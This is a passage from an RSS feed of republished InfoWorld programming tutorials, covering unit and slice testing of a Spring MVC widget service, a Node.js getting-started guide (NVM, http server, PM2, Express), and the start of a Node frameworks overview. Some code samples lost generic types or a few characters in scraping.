           .andExpect(status().isNotFound());
}</code></pre>



<p class="wp-block-paragraph">We have three variations:</p>



<ul class="wp-block-list">
<li>A successful update.</li>



<li>A failed update because of a version conflict.</li>



<li>A failed update because the widget was not found.</li>
</ul>



<p class="wp-block-paragraph">In RESTful web services, version management is handled by the entity tag, or<code> eTag</code>. When you retrieve an entity, it has an <code>eTag</code> value. When you want to update the entity, you pass that <code>eTag</code> value in the <code>If-Match</code> HTTP header. If the <code>If-Match</code> header does not match the current <code>eTag</code>, which is the <code>Widget</code> version in our implementation, then the <code>PUT</code> handler returns a 409 Conflict HTTP response code. If you get this error, it means that you need to retrieve the entity again and retry your operation. This way, if two different clients attempt to update the same entity simultaneously, only one will succeed.</p>



<p class="wp-block-paragraph">In the <code>testSuccessfulUpdate() </code>method, we return a <code>Widget</code> with a version of 5 when the <code>WidgetService</code>’s <code>findById()</code> method is called. We then pass an <code>If-Match</code> header value of 5 and then validate that we get a 200 OK HTTP response code and the expected header and body values. In the <code>testUpdateConflict()</code> method, we do the same thing, but we set the <code>If-Match</code> header to 2, which does not match 5, so we validate that we get a 409 Conflict HTTP response code. And finally, in the <code>testUpdateNotFound()</code> method, we configure the <code>WidgetService</code> to return an <code>Optional.empty()</code> when its <code>findById()</code> method is called, so we execute the <code>PUT</code> operation and validate that we get a 404 Not Found HTTP response code.</p>



<h3 class="wp-block-heading">Unit testing DELETE /widget</h3>



<p class="wp-block-paragraph">Finally, here is the source code for our two <code>DELETE /widget</code> tests:</p>



<pre class="wp-block-code"><code>@Test
void testDeleteSuccess() throws Exception {
    // Setup mocked product
    Widget mockWidget = new Widget(1L, "Widget 1", 5);

    // Setup the mocked service
    when(widgetService.findById(1L))
                      .thenReturn(Optional.of(mockWidget));
    doNothing().when(widgetService).deleteById(1L);

    // Execute our DELETE request
    mockMvc.perform(delete("/widget/{id}", 1L))
            .andExpect(status().isOk());
}

@Test
void testDeleteNotFound() throws Exception {
    // Setup the mocked service
    when(widgetService.findById(1L)).thenReturn(Optional.empty());

    // Execute our DELETE request
    mockMvc.perform(delete("/widget/{id}", 1L))
            .andExpect(status().isNotFound());
}</code></pre>



<p class="wp-block-paragraph">The <code>DELETE</code> handler first tries to find the widget by ID and then calls the<code> WidgetService</code>’s <code>deleteById()</code> method. The <code>testDeleteSuccess()</code> method configures the <code>WidgetService</code> to return a mock <code>Widget</code> when the <code>findById()</code> method is called and then configures it to do nothing when the <code>deleteById()</code> method is called. The <code>deleteById()</code> method returns void, so we do not need to mock a response, though we do want to allow the method to be called. We execute the <code>DELETE</code> operation and validate that we receive a 200 OK HTTP response code. The<code> testDeleteNotFound()</code> method configures the <code>WidgetService</code> to return <code>Optional.empty()</code> when its <code>findById()</code> method is called. We execute the <code>DELETE</code> operation and validate that we receive a 404 Not Found HTTP response code.</p>



<p class="wp-block-paragraph">At this point, we have a comprehensive set of tests for all of our controller operations. Let’s continue down our stack and test our service.</p>



<h2 class="wp-block-heading">Unit testing a Spring MVC service</h2>



<p class="wp-block-paragraph">Next, we’ll test a <code>WidgetService</code> class, shown here:</p>



<pre class="wp-block-code"><code>package com.infoworld.widgetservice.service;

import java.util.List;
import java.util.Optional;

import com.infoworld.widgetservice.model.Widget;
import com.infoworld.widgetservice.repository.WidgetRepository;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;

@Service
public class WidgetService {
    @Autowired
    private WidgetRepository widgetRepository;

    public List findAll() {
        return widgetRepository.findAll();
    }

    public Optional findById(Long id) {
        return widgetRepository.findById(id);
    }

    public Widget create(Widget widget) {
        widget.setVersion(1);
        return widgetRepository.save(widget);
    }

    public Widget save(Widget widget) {
        return widgetRepository.save(widget);
    }

    public void deleteById(Long id) {
        widgetRepository.deleteById(id);
    }
}</code></pre>



<p class="wp-block-paragraph">The <code>WidgetService</code> is very simple. It autowires in a <code>WidgetRepository</code> and then delegates almost all its functionality to the <code>WidgetRepository</code>. The only business logic it implements is that it sets the <code>Widget</code> version to 1 in the <code>create()</code> method, when it is persisting a new <code>Widget</code> to the database.</p>



<p class="wp-block-paragraph">While Spring supports slice testing for our controller and (as you’ll soon see) our repository, it doesn’t have a slice testing annotation for our service. We could use the <code>@SpringBootTest</code> annotation, but then Spring would load all the controllers, repositories, and any other Spring resources in our application into the Spring application context. We can avoid by using Mockito directly. </p>



<p class="wp-block-paragraph">Here is the source code for the <code>WidgetServiceTest</code> class:</p>



<pre class="wp-block-code"><code>package com.infoworld.widgetservice.service;

import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertTrue;
import static org.mockito.Mockito.when;

import java.util.Optional;

import com.infoworld.widgetservice.model.Widget;
import com.infoworld.widgetservice.repository.WidgetRepository;

import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.mockito.InjectMocks;
import org.mockito.Mock;
import org.mockito.junit.jupiter.MockitoExtension;

@ExtendWith(MockitoExtension.class)
public class WidgetServiceTest {
    @Mock
    private WidgetRepository repository;

    @InjectMocks
    private WidgetService service;

    @Test
    void testFindById() {
        Widget widget = new Widget(1L, "My Widget", 1);
        when(repository.findById(1L)).thenReturn(Optional.of(widget));

        Optional w = service.findById(1L);
        assertTrue(w.isPresent());
        assertEquals(1L, w.get().getId());
        assertEquals("My Widget", w.get().getName());
        assertEquals(1, w.get().getVersion());
    }
}</code></pre>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/4009216/advanced-unit-testing-with-junit-5-mockito-and-hamcrest.html">JUnit 5 supports extensions</a> and Mockito has defined a test extension that we can access through the <code>@ExtendWith</code> annotation. This extension allows Mockito to read our class, find objects to mock, and inject mocks into other classes. The <code>WidgetServiceTest </code>tells Mockito to create a mock <code>WidgetRepository</code>, by annotating it with the <code>@Mock</code> annotation, and then to inject that mock into the <code>WidgetService</code>, using the <code>@InjectMocks</code> annotation. The result is that we have a <code>WidgetService</code> that we can test and it will have a mock <code>WidgetRepository</code> that we can configure for our test cases.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/4009216/advanced-unit-testing-with-junit-5-mockito-and-hamcrest.html">Advanced unit testing with JUnit 5, Mockito, and Hamcrest</a>.</strong></p>



<p class="wp-block-paragraph">This is not a comprehensive test, but it should get you started. It has a single method, <code>testFindById()</code>, that demonstrates how to test a service method. It creates a mock <code>Widget</code> instance and then uses the Mockito <code>when()</code> method, just as we used in the controller test, to configure the <code>WidgetRepository</code> to return an <code>Optional</code> of that <code>Widget</code> when its <code>findById()</code> method is called. Then it invokes the <code>WidgetService</code>’s <code>findById()</code> method and validates that the mock <code>Widget</code> is returned.</p>



<h2 class="wp-block-heading">Slice testing a Spring Data JPA repository</h2>



<p class="wp-block-paragraph">Next, we’ll slice test our JPA repository (<code>WidgetRepository.java</code>), shown here:</p>



<pre class="wp-block-code"><code>package com.infoworld.widgetservice.repository;

import java.util.List;
import com.infoworld.widgetservice.model.Widget;
import org.springframework.data.jpa.repository.JpaRepository;

public interface WidgetRepository extends JpaRepository {
    List findByName(String name);
}</code></pre>



<p class="wp-block-paragraph">The <code>WidgetRepository</code> is a Spring Data JPA repository, which means that we define the interface and Spring generates the implementation. It extends the <code>JpaRepository</code> interface, which accepts two arguments:</p>



<ul class="wp-block-list">
<li>The type of entity that it persists, namely a <code>Widget</code>.</li>



<li>The type of primary key, which in this case is a <code>Long</code>.</li>
</ul>



<p class="wp-block-paragraph">It generates common CRUD method implementations for us to create, update, delete, and find widgets, and then we can define our own query methods using a specific naming convention. For example, we define a <code>findByName()</code> method that returns a <code>List</code> of <code>Widget</code>s. Because “<code>name</code>” is a field in our <code>Widget</code> entity, Spring will generate a query that finds all widgets with the specified name.</p>



<p class="wp-block-paragraph">Here is our <code>WidgetRepositoryTest</code> class:</p>



<pre class="wp-block-code"><code>package com.infoworld.widgetservice.repository;

import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertNotNull;
import static org.junit.jupiter.api.Assertions.assertNull;

import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;

import com.infoworld.widgetservice.model.Widget;

import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.autoconfigure.orm.jpa.DataJpaTest;
import org.springframework.boot.test.autoconfigure.orm.jpa.TestEntityManager;

@DataJpaTest
public class WidgetRepositoryTest {
    @Autowired
    private TestEntityManager entityManager;

    @Autowired
    private WidgetRepository widgetRepository;

    private final List widgetIds = new ArrayList();
    private final List testWidgets = Arrays.asList(
            new Widget("Widget 1", 1),
            new Widget("Widget 2", 1),
            new Widget("Widget 3", 1)
    );

    @BeforeEach
    void setup() {
        testWidgets.forEach(widget -&gt; {
            entityManager.persist(widget);
            widgetIds.add((Long)entityManager.getId(widget));
        });
        entityManager.flush();
    }

    @AfterEach
    void teardown() {
        widgetIds.forEach(id -&gt; {
            Widget widget = entityManager.find(Widget.class, id);
            if (widget != null) {
                entityManager.remove(widget);
            }
        });
        widgetIds.clear();
    }

    @Test
    void testFindAll() {
        List widgetList = widgetRepository.findAll();
        assertEquals(3, widgetList.size());
    }

    @Test
    void testFindById() {
        Widget widget = widgetRepository.findById(
                               widgetIds.getFirst()).orElse(null);

        assertNotNull(widget);
        assertEquals(widgetIds.getFirst(), widget.getId());
        assertEquals("Widget 1", widget.getName());
        assertEquals(1, widget.getVersion());
    }

    @Test
    void testFindByIdNotFound() {
        Widget widget = widgetRepository.findById(
            widgetIds.getFirst() + testWidgets.size()).orElse(null);
        assertNull(widget);
    }

    @Test
    void testCreateWidget() {
        Widget widget = new Widget("New Widget", 1);
        Widget insertedWidget = widgetRepository.save(widget);

        assertNotNull(insertedWidget);
        assertEquals("New Widget", insertedWidget.getName());
        assertEquals(1, insertedWidget.getVersion());
        widgetIds.add(insertedWidget.getId());
    }

    @Test
    void testFindByName() {
        List found = widgetRepository.findByName("Widget 2");
        assertEquals(1, found.size(), "Expected to find 1 Widget");

        Widget widget = found.getFirst();
        assertEquals("Widget 2", widget.getName());
        assertEquals(1, widget.getVersion());
    }
}</code></pre>



<p class="wp-block-paragraph">The <code>WidgetRepositoryTest</code> class is annotated with the <code>@DataJpaTest</code> annotation, which is a slice-testing annotation that loads repositories and entities into the Spring application context and creates a <code>TestEntityManager</code> that we can autowire into our test class. The <code>TestEntityManager</code> allows us to perform database operations outside of our repository so that we can set up and tear down our test scenarios.</p>



<p class="wp-block-paragraph">In the <code>WidgetRepositoryTest</code> class, we autowire in both our <code>WidgetRepository</code> and <code>TestEntityManager</code>. Then, we define a <code>setup()</code> method that is annotated with JUnit’s <code>@BeforeEach</code> annotation, so it will be executed <em>before</em> each test case runs. Next, we define a <code>teardown()</code> method that is annotated with JUnit’s <code>@AfterEach</code> annotation, so it will be executed <em>after</em> each test completes. The class defines a <code>testWidgets</code> list that contains three test widgets and then the <code>setup()</code> method inserts those into the database using the <code>TestEntityManager</code>’s <code>persist()</code> method. After it inserts each widget, it saves the automatically generated ID so that we can reference it in our tests. Finally, after persisting the widgets, it flushes them to the database by calling the <code>TestEntityManager</code>’s <code>flush()</code> method. The <code>teardown()</code> method iterates over all <code>Widget</code> IDs, finds the <code>Widget</code> using the <code>TestEntityManager</code>’s <code>find()</code> method, and, if it is found, removes it from the database. Finally, it clears the widget ID list so that the<code> setup()</code> method can rebuild it for the next test. (Note that the <code>TestEntityManager</code> removes entities directly; it does not have a <em>remove by ID</em> method, so we first have to find each <code>Widget</code> and then remove them one-by-one.)</p>



<p class="wp-block-paragraph">Even though most of the methods being tested are autogenerated and well tested, I wanted to demonstrate how to write several kinds of tests. The only method that we really need to test is the <code>findByName()</code> method because that is the only custom method we define. For example, if we were to define the method as <code><em>findByNam()</em></code> instead of <code>findByName()</code>, then the method would not work, so it is definitely worth testing.</p>



<h2 class="wp-block-heading">Conclusion</h2>



<p class="wp-block-paragraph">Spring provides robust support for testing each layer of a Spring MVC application. In this article, we reviewed how to test controllers, using <a href="https://docs.spring.io/spring-framework/reference/testing/mockmvc.html" data-type="link" data-id="https://docs.spring.io/spring-framework/reference/testing/mockmvc.html">MockMvc</a>; services, using the <a href="https://www.infoworld.com/article/4009216/advanced-unit-testing-with-junit-5-mockito-and-hamcrest.html" data-type="link" data-id="https://www.infoworld.com/article/4009216/advanced-unit-testing-with-junit-5-mockito-and-hamcrest.html">JUnit Mockito extension</a>; and repositories, using the Spring <a href="https://docs.spring.io/spring-boot/api/java/org/springframework/boot/test/autoconfigure/orm/jpa/TestEntityManager.html" data-type="link" data-id="https://docs.spring.io/spring-boot/api/java/org/springframework/boot/test/autoconfigure/orm/jpa/TestEntityManager.html">TestEntityManager</a>. We also reviewed slice testing as a strategy to reduce testing resource utilization and minimize the time required to execute tests. Slice testing is implemented in Spring using the <code>@WebMvcTest</code> and <code>@DataJpaTest</code> annotations. I hope these examples have given you everything you need to feel comfortable writing robust tests for your Spring MVC applications.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Node.js tutorial: Get started with Node]]></title>
<description><![CDATA[Node.js is a popular and versatile cross-platform JavaScript runtime environment. Node was the first runtime to allow developers to run JavaScript outside the browser, opening a new world of possibilities in server-side JavaScript. Its ease of use, massive ecosystem and performance characteristic...]]></description>
<link>https://tsecurity.de/de/3665674/ai-nachrichten/nodejs-tutorial-get-started-with-node/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665674/ai-nachrichten/nodejs-tutorial-get-started-with-node/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:39 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2254485/what-is-nodejs-javascript-runtime-explained.html">Node.js</a> is a popular and versatile cross-platform <a href="https://www.infoworld.com/article/2263137/what-is-javascript-the-full-stack-programming-language.html">JavaScript</a> runtime environment. Node was the first runtime to allow developers to run JavaScript outside the browser, opening a new world of possibilities in <a href="https://www.infoworld.com/article/4052419/9-vital-concepts-of-modern-javascript.html" data-type="link" data-id="https://www.infoworld.com/article/4052419/9-vital-concepts-of-modern-javascript.html">server-side JavaScript</a>. Its ease of use, massive ecosystem and performance characteristics have continued to secure its place as one of the most important technologies of the modern web.</p>



<p class="wp-block-paragraph">Anytime you need to run JavaScript on the server—be it for a systems utility, a REST API, data processing, or anything else—Node is an excellent choice. There are newer runtimes, namely <a href="https://www.infoworld.com/article/2336271/deno-vs-nodejs-which-is-better.html">Deno</a> and <a href="https://www.infoworld.com/article/2338008/explore-bunjs-the-all-in-one-javascript-runtime.html">Bun</a>, but Node remains the standard for server-side JavaScript.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/2252306/10-javascript-concepts-every-nodejs-developer-must-master.html">10 JavaScript concepts you need to succeed with Node</a>.</strong></p>



<h2 class="wp-block-heading">Getting started with Node</h2>



<p class="wp-block-paragraph">If you haven’t already experienced Node, this article will introduce you. We’ll step through installing Node and the NPM package manager, spinning up a simple web server, and using the Node cluster module to take advantage of multiple CPU cores.</p>



<p class="wp-block-paragraph">We’ll also look at using the NPM package manager to install additional Node modules and other JavaScript packages. And we’ll dip a toe into using a Node framework, in this case the ubiquitous <a href="https://www.infoworld.com/article/3615615/intro-to-express-js-endpoints-parameters-and-routes.html">Express server</a>, to create more feature-rich and flexible Node.js servers. Let’s get started!</p>



<h2 class="wp-block-heading">Installing Node and NPM</h2>



<p class="wp-block-paragraph">There are <a href="https://docs.npmjs.com/downloading-and-installing-node-js-and-npm">a few ways to install Node</a>, including the installer that <a href="https://docs.npmjs.com/downloading-and-installing-node-js-and-npm">Node itself provides</a>, but the recommended way is with a version manager. The most common version manager is <a href="https://github.com/nvm-sh/nvm">NVM</a>. This makes it easy to install Node and change versions when you need to. (There is also a Microsoft Windows-specific version called <a href="https://github.com/coreybutler/nvm-windows/releases">nvm-windows</a>.)</p>



<p class="wp-block-paragraph">NVM can be installed with an installer or using a CLI. In the following example, we use <code>curl</code>:</p>



<pre class="wp-block-code"><code>
$ curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.3/install.sh | bash</code></pre>



<p class="wp-block-paragraph">Once you have NVM installed, installing the most recent version of Node is simple:</p>



<pre class="wp-block-code"><code>
$ nvm install latest
</code></pre>



<p class="wp-block-paragraph">The <code>install latest</code> command makes the latest version available. Mine is Node 24.9.0, so I activate it with:</p>



<pre class="wp-block-code"><code>$ nvm use 24.9.0</code></pre>



<p class="wp-block-paragraph">Anytime you need to install another version of Node, you can use <code>nvm install</code> and <code>nvm use</code> to switch between them.</p>



<p class="wp-block-paragraph">You should now see Node available at your command prompt:</p>



<pre class="wp-block-code"><code>
$ node -v

v24.9.0</code></pre>



<p class="wp-block-paragraph">When you install Node this way, the Node package manager (NPM) is also installed:</p>



<pre class="wp-block-code"><code>$ npm -v

11.6.0</code></pre>



<p class="wp-block-paragraph">Note that using NVM also avoids potential permissions issues with NPM packages when using the installer.</p>



<h2 class="wp-block-heading">A simple web server in Node</h2>



<p class="wp-block-paragraph">To start simply, we can use <a href="https://nodejs.org/api/synopsis.html">an example from the Node homepage</a>. Copy the Synopsis example code as directed there and paste it into your code editor, then save it as <code>example.js</code>:</p>



<pre class="wp-block-code"><code>
const http = require('node:http');

const hostname = '127.0.0.1';
const port = 3000;

const server = http.createServer((req, res) =&gt; {
  res.statusCode = 200;
  res.setHeader('Content-Type', 'text/plain');
  res.end('Hello, InfoWorld!\n');
});

server.listen(port, hostname, () =&gt; {
  console.log(`Server running at http://${hostname}:${port}/`);
});</code></pre>



<p class="wp-block-paragraph">Open a shell in the directory where you saved the file, and run the file from your command line:</p>



<pre class="wp-block-code"><code>
$ node example.js

Server running at http://127.0.0.1:3000/</code></pre>



<p class="wp-block-paragraph">You can now go to the browser and check it out at <code>127.0.0:3000</code>, and you should see a simple greeting. Back at the terminal, press <strong>Control-C</strong> to stop the running server.</p>



<p class="wp-block-paragraph">Before we go further, let’s pull apart the code.</p>



<h3 class="wp-block-heading">Creating a simple HTTP server with Node</h3>



<p class="wp-block-paragraph">We start with the command:</p>



<pre class="wp-block-code"><code>const http = require(‘http’);</code></pre>



<p class="wp-block-paragraph">This is how you include a module in your code, in this case, the standard <a href="https://nodejs.org/api/http.html">http module</a>. (The <code>http</code> module ships with Node, so you don’t have to add it as a dependency.) This module provides the <a href="https://nodejs.org/api/http.html#http_http_createserver_requestlistener">createServer</a> and <code>listen</code> functions we’ll use later on.</p>



<p class="wp-block-paragraph">You might have noted that this example used a <a href="https://nodejs.org/api/modules.html">CommonJS</a> import. While older, this style of import is still very common in Node programs as well as some documentation. However, it’s gradually being phased out in favor of <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules">ES Modules</a> (ESM), the standardized module system introduced in ECMAScript 2015. An ESM import would look like this:</p>



<pre class="wp-block-code"><code>import http from 'http';</code></pre>



<p class="wp-block-paragraph">After we import the <code>http</code> module, we define a couple of values we need (<code>hostname</code> and <code>port</code>):</p>



<pre class="wp-block-code"><code>const hostname = '127.0.0.1';

const port = 3000;</code></pre>



<p class="wp-block-paragraph">Next, we create the server:</p>



<pre class="wp-block-code"><code>const server = http.createServer((req, res) =&gt; {
  res.statusCode = 200;
  res.setHeader(‘Content-Type’, ‘text/plain’);
  res.end(‘Hello World\n’);
});</code></pre>



<p class="wp-block-paragraph">The <code>creatServer </code>command accepts a callback function, which we define using the fat arrow notation. The callback function passes two arguments, the request (<code>req</code>) and response (<code>res</code>) objects needed to handle HTTP requests. The <code>req</code> argument contains the incoming HTTP request, which in this case is ignored. The <code>res.end</code> method sets the response data to <code>‘Hello InfoWorld\n’</code> and tells the server that it is done creating the response.</p>



<p class="wp-block-paragraph">Next, we have:</p>



<pre class="wp-block-code"><code>server.listen(port, hostname, () =&gt; {
  console.log(`Server running at http://${hostname}:${port}/`);
});</code></pre>



<p class="wp-block-paragraph">The <code>server.listen</code> function accepts three arguments. The first two are the <code>port</code> and <code>hostname</code>, and the third is a callback that is executed when the server is ready (in this case, it prints a message to the console).</p>



<p class="wp-block-paragraph">Having all the event handlers defined as callbacks is one of the most subtle and powerful parts of Node. It’s key to Node’s asynchronous non-blocking architecture.</p>



<p class="wp-block-paragraph">Node.js runs on <a href="https://www.infoworld.com/article/4052419/9-vital-concepts-of-modern-javascript.html">an event loop</a>, which always reverts to handling events when not otherwise engaged. It’s like a busy order-taker continually picking up orders and then updating the order-maker with their order. We receive updates via the callbacks.</p>



<h2 class="wp-block-heading">A multi-process web server with Node</h2>



<p class="wp-block-paragraph">Node’s asynchronous, non-blocking nature makes it good at handling many parallel requests, but it’s not truly concurrent by default. There are <a href="https://www.infoworld.com/article/2513020/intro-to-multithreaded-javascript.html">a few ways to make a Node application use multiple threads</a> for true concurrency. One of the simplest is to use the <a href="https://pm2.keymetrics.io/">PM2 project</a>, which lets you run the same Node application in many processes.</p>



<p class="wp-block-paragraph">By launching each application instance in its own process, the operating system can make use of multiple cores on the machine. This is not usually a concern at first, but it’s a key performance consideration to bear in mind.</p>



<p class="wp-block-paragraph">You can install PM2 globally like so:</p>



<pre class="wp-block-code"><code>$ npm install -g pm2</code></pre>



<p class="wp-block-paragraph">For our example, we want to make it obvious that the different processes are handling requests. We can achieve that goal with a small change to the server:</p>



<pre class="wp-block-code"><code>res.end(`Hello, InfoWorld! Handled by ${process.pid}`);</code></pre>



<p class="wp-block-paragraph">The <code>process.pid </code>field is a built-in environment variable, providing a unique ID for the currently running process in Node. Once PM2 is installed and the app is updated, we can run it like so:</p>



<pre class="wp-block-code"><code>$ pm2 start example.js -i max</code></pre>



<p class="wp-block-paragraph">That should launch several instances of the same program, as shown here:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/11/Node-tutorial-fig3v2.png?w=1024" alt="Screenshot of a multi-process Node-based web server running several instances of the same program." class="wp-image-4089570" width="1024" height="575" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Matthew Tyson</p></div>



<p class="wp-block-paragraph">Then, if you open multiple windows, you can see the unique ID of each instance:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/11/Node-tutorial-fig2v2.png?w=1024" alt="Screenshot of a Node-based multi-process web server showing the unique ID of each instance." class="wp-image-4089571" width="1024" height="536" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Matthew Tyson</p></div>



<h2 class="wp-block-heading">An Express web server with Node</h2>



<p class="wp-block-paragraph">For our final example, we’ll look at setting up an <a href="https://www.infoworld.com/article/3615615/intro-to-express-js-endpoints-parameters-and-routes.html">Express</a> web server in Node. This time we’ll use NPM to download Express and its dependencies. NPM is one of the greatest storehouses of software on the planet, with literally <a href="https://www.npmjs.com/">millions of libraries available</a>. Knowing how to use it is essential for working with Node.</p>



<p class="wp-block-paragraph">NPM works just like other package managers you may have used, letting you define and install dependencies in a structured way. To install Express, go to your project directory and type:</p>



<pre class="wp-block-code"><code>$ npm install express</code></pre>



<p class="wp-block-paragraph">Node should respond with something like: <code>added 68 packages in 5s</code>.</p>



<p class="wp-block-paragraph">You will notice several directories have been added to a <code>/node_modules</code> directory. Those are all the dependencies needed for Express. You usually don’t have to interact with <code>node_modules</code> yourself, but it’s good to know that’s where things are saved.</p>



<p class="wp-block-paragraph">Now look at the <code>package.json</code> file, which will have something like this in it:</p>



<pre class="wp-block-code"><code>{
  "dependencies": {
	"express": "^5.1.0"
  }
}</code></pre>



<p class="wp-block-paragraph">This is how dependencies are defined in NPM. It says the application needs the express dependency at version 5.1.0 (or greater).</p>



<h3 class="wp-block-heading">Setting up the Express server in Node</h3>



<p class="wp-block-paragraph">Express is one of the most-deployed pieces of software on the Internet. It can be a minimalist server framework for Node that handles all the essentials of HTTP, and it’s also expandable using “middleware” plugins.</p>



<p class="wp-block-paragraph">Since we’ve already installed Express, we can jump right into defining a server. Open the <code>example.js</code> file we used previously and replace the contents with this simple Express server:</p>



<pre class="wp-block-code"><code>import express from 'express';

const app = express();
const port = 3000;

app.get('/', (req, res) =&gt; {
  res.send('Hello, InfoWorld!');
});

app.listen(port, () =&gt; {
  console.log(`Express server at http://localhost:${port}`);
});</code></pre>



<p class="wp-block-paragraph">This program does the same thing as our earlier <code>http</code> module version. The most important change is that we’ve added routing. Express makes it easy for us to associate a URL path, like the root path (<code>‘/’</code>), with the handler function.</p>



<p class="wp-block-paragraph">If we wanted to add another path, it could look like this:</p>



<pre class="wp-block-code"><code>app.get('/about', (req, res) =&gt; {
  res.send('This is the About page.');
});</code></pre>



<p class="wp-block-paragraph">Once we have the basic web server set up with one or more paths, we’ll probably need to create a few API endpoints that respond with JSON. Here’s an example of a route that returns a JSON object:</p>



<pre class="wp-block-code"><code>app.get('/api/user', (req, res) =&gt; {
  res.json({
	id: 1,
	name: 'John Doe',
	role: 'Admin'
  });
});</code></pre>



<p class="wp-block-paragraph">That’s a simple example, but it gives you a taste of working with Express in Node.</p>



<h2 class="wp-block-heading">Conclusion</h2>



<p class="wp-block-paragraph">In this article you’ve seen how to install Node and NPM and how to set up both simple and more advanced web servers in Node. Although we’ve only touched on the basics, these examples demonstrate many elements that are required for all Node applications, including the ability to import modules.</p>



<p class="wp-block-paragraph">Whenever you need a package to do something in Node, you will more than likely find it available on <a href="https://www.npmjs.com/">NPM</a>. Visit the official site and use the search feature to find what you need. For more information about a package, you can use the <a href="http://npms.io/">npms.io</a> tool. Keep in mind that a project’s health depends on its weekly download metric (visible on NPM for the package itself). You can also check a project’s GitHub page to see how many stars it has and how many times it’s been forked; both are good measures of success and stability. Another important metric is how recently and frequently the project is updated and maintained. That information is also visible on a project’s GitHub Insights page.</p>
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<title><![CDATA[The complete guide to Node.js frameworks]]></title>
<description><![CDATA[Node.js is one of the most popular server-side platforms, especially for web applications. It gives you non-blocking JavaScript without a browser, plus an enormous ecosystem. That ecosystem is one of Node’s chief strengths, making it a go-to option for server development.



This article is a qui...]]></description>
<link>https://tsecurity.de/de/3665672/ai-nachrichten/the-complete-guide-to-nodejs-frameworks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665672/ai-nachrichten/the-complete-guide-to-nodejs-frameworks/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:36 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2254485/what-is-nodejs-javascript-runtime-explained.html">Node.js</a> is one of the most popular server-side platforms, especially for web applications. It gives you non-blocking JavaScript without a browser, plus an enormous ecosystem. That ecosystem is one of Node’s chief strengths, making it a go-to option for server development.</p>



<p class="wp-block-paragraph">This article is a quick tour of the most popular web frameworks for <a href="https://www.infoworld.com/article/2257958/nodejs-tutorial-get-started-with-nodejs.html">server development on Node.js</a>. We’ll look at minimalist tools like Express.js, batteries-included frameworks like Nest.js, and full-stack frameworks like Next.js. You’ll get an overview of the frameworks and a taste of what it’s like to write a simple server application in each one.</p>



<h2 class="wp-block-heading">Minimalist web frameworks</h2>



<p class="wp-block-paragraph">When it comes to Node web frameworks, <em>minimalist</em> doesn’t mean limited. Instead, these frameworks provide the essential features required to do the job for which they are intended. The frameworks in this list also tend to be highly extensible, so you can customize them as needed. With minimalist frameworks, pluggable extensibility is the name of the game.</p>



<h3 class="wp-block-heading">Express.js</h3>



<p class="wp-block-paragraph">At over 47 million weekly downloads on npm, Express is one of the most-installed software packages of all time—and for good reason. Express gives you basic web endpoint routing and request-and-response handling inside an extensible framework that is easy to understand. Most other frameworks in this category have adopted the basic style of describing a route from Express. This framework is the obvious choice when you simply need to create some routes for HTTP, and you don’t mind a DIY approach for anything extra.</p>



<p class="wp-block-paragraph">Despite its simplicity, Express is fully-featured when it comes to things like route parameters and request handling. Here is a simple Express endpoint that returns a dog breed based on an ID:</p>



<pre class="wp-block-code"><code>import express from 'express';

const app = express();
const port = 3000;

// In-memory array of dog breeds
const dogBreeds = [
  "Shih Tzu",
  "Great Pyrenees",
  "Tibetan Mastiff",
  "Australian Shepherd"
];
app.get('/dogs/:id', (req, res) =&gt; {
  // Convert the id from a string to an integer
  const id = parseInt(req.params.id, 10);

  // Check if the id is a valid number and within the array bounds
  if (id &gt;= 0 &amp;&amp; id  {
  console.log(`Server running at http://localhost:${port}`);
});</code></pre>



<p class="wp-block-paragraph">You can easily see how the route is defined here: a string representation of a URL, followed by a function that receives a request and response object. The process of creating the server and listening on a port is simple.</p>



<p class="wp-block-paragraph">If you are coming from a framework like Next, the biggest thing you might notice about Express is that it lacks a file-system based router. On the other hand, it offers a huge range of <a href="https://expressjs.com/en/resources/middleware.html">middleware plugins</a> to help with essential functions like security.</p>



<h3 class="wp-block-heading">Koa</h3>



<p class="wp-block-paragraph"><a href="https://koajs.com/">Koa</a> was created by the original creators of Espress, who took the lessons learned from that project and used them for a fresh take on the JavaScript server. Koa’s focus is providing a minimalist core engine. It uses <code>async</code>/<code>await</code> functions for middleware rather than chaining with <code>next()</code> calls. This can give you a cleaner server, especially when there are many plugins. It also makes the error handling less clunky for middleware.</p>



<p class="wp-block-paragraph">Koa also differs from Express by exposing a unified context object instead of separate request and response objects, which makes for a somewhat less cluttered API. Here is how Koa manages the same route we created in Express:</p>



<pre class="wp-block-code"><code>router.get('/dogs/:id', (ctx) =&gt; {
  const id = parseInt(ctx.params.id, 10);

